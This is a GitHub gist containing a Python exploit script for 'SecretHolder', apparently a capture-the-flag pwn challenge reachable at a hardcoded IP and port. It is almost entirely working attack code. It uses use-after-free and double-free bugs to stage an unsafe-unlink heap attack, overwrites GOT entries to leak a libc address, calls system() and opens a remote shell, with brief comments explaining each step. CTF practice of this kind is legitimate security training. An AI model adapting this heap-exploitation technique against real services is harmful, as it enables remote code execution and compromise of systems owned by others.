Last active
October 11, 2016 16:22
-
-
Save peternguyen93/8991b035a2e2266b12fd7b78f47fcd5e to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
from Pwn import * | |
p = Pwn( | |
elf='SecretHolder_d6c0bed6d695edc12a9e7733bedde182554442f8', | |
host='52.68.31.117', | |
port=5566 | |
) | |
# p = Pwn( | |
# elf='SecretHolder_d6c0bed6d695edc12a9e7733bedde182554442f8' | |
# ) | |
def keep_secret(op,content): | |
p.read_until('3. Renew secret') | |
p.sendint(1) | |
p.read_until('3. Huge secret') | |
p.sendint(op) | |
p.read_until('Tell me your secret:') | |
p.sendline(content) | |
def wipe_secret(op): | |
p.read_until('3. Renew secret') | |
p.sendint(2) | |
p.read_until('3. Huge secret') | |
p.sendint(op) | |
def renew_secret(op,content,is_nonewline=False): | |
p.read_until('3. Renew secret') | |
p.sendint(3) | |
p.read_until('3. Huge secret') | |
p.sendint(op) | |
p.read_until('Tell me your secret:') | |
if not is_nonewline: | |
p.sendline(content) | |
else: | |
p.send(content) | |
def exploit(): | |
p.connect() | |
raw_input('>') | |
# p1 = p3 | |
# this bug of this chall is use after free, double free corruption | |
# the key to solve this challenge is make | |
# small, big and huge point to same address | |
keep_secret(1,'C'*40) # create small chunk (p1) | |
keep_secret(2,'B'*4000)# create big chunk (p2) | |
keep_secret(3,'A'*4000)# 400000, create huge chunk (p3) | |
# wipe_secret(2) free will merge top chunk and big chunk | |
wipe_secret(2) | |
# wipe_secret(1) free will merge top chunk and huge chunk | |
wipe_secret(1) | |
# p3 is too big so malloc will map an other chunk | |
wipe_secret(3) | |
# with this malloc, because malloc see that this heap page only 0x21000 not enough | |
# for this huge chunk so that heap page will expand to fit this chunk | |
# in this step we hame huge_secret is the same address of small_secret | |
# and expand over big_secret. So we can perform unlink exploit in this case | |
pl = p.pA(0,0x81) | |
pl+= p.pA(0x06020A8 - 0x18,0x6020A8 - 0x10) | |
pl+= p.pA(0x20,0x90) # <-- big_secret will point to this chunk | |
pl+= 'A'*0x80 | |
pl+= p.pA(0,0x91) | |
pl+= 'C'*0x80 | |
pl+= p.pA(0,0x91) | |
pl+= 'D'*0x80 | |
keep_secret(3,pl) # overwrite small_secret, big_secret | |
wipe_secret(2) # free fake big_secret, and make unlink | |
# so address 0x06020A8 will point to 0x06020A8 - 0x18 | |
# huge_secret point to bss | |
pl = 'A'*16 | |
pl+= p.pA( | |
p.got['atoi'], # big 2 | |
0x0602090, # huge 3 | |
p.got['free'] # small 1 | |
) | |
pl += '\x01\x00\x00\x00'*5 | |
renew_secret(3,pl) # overflow small_secret, big_secret, huge_secret | |
renew_secret(1,p.pack(p.plt['puts']),True) # overwrite free = puts | |
wipe_secret(2) # leak atoi address | |
leak = p.read_until('1. Keep secret').strip('\n')[:6].ljust(8,'\x00') | |
atoi = p.unpack(leak) | |
off = p.get_libc_offset(atoi,'atoi') | |
# print off | |
system = atoi - off | |
print '[+] atoi()',hex(atoi) | |
print '[+] system()',hex(system) | |
renew_secret(3,pl) # overwrite bss again | |
renew_secret(2,p.pack(system)) # send system | |
p.sendline('sh') | |
p.io() | |
exploit() | |
# cat flag in cat /home/SecretHolder/... |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment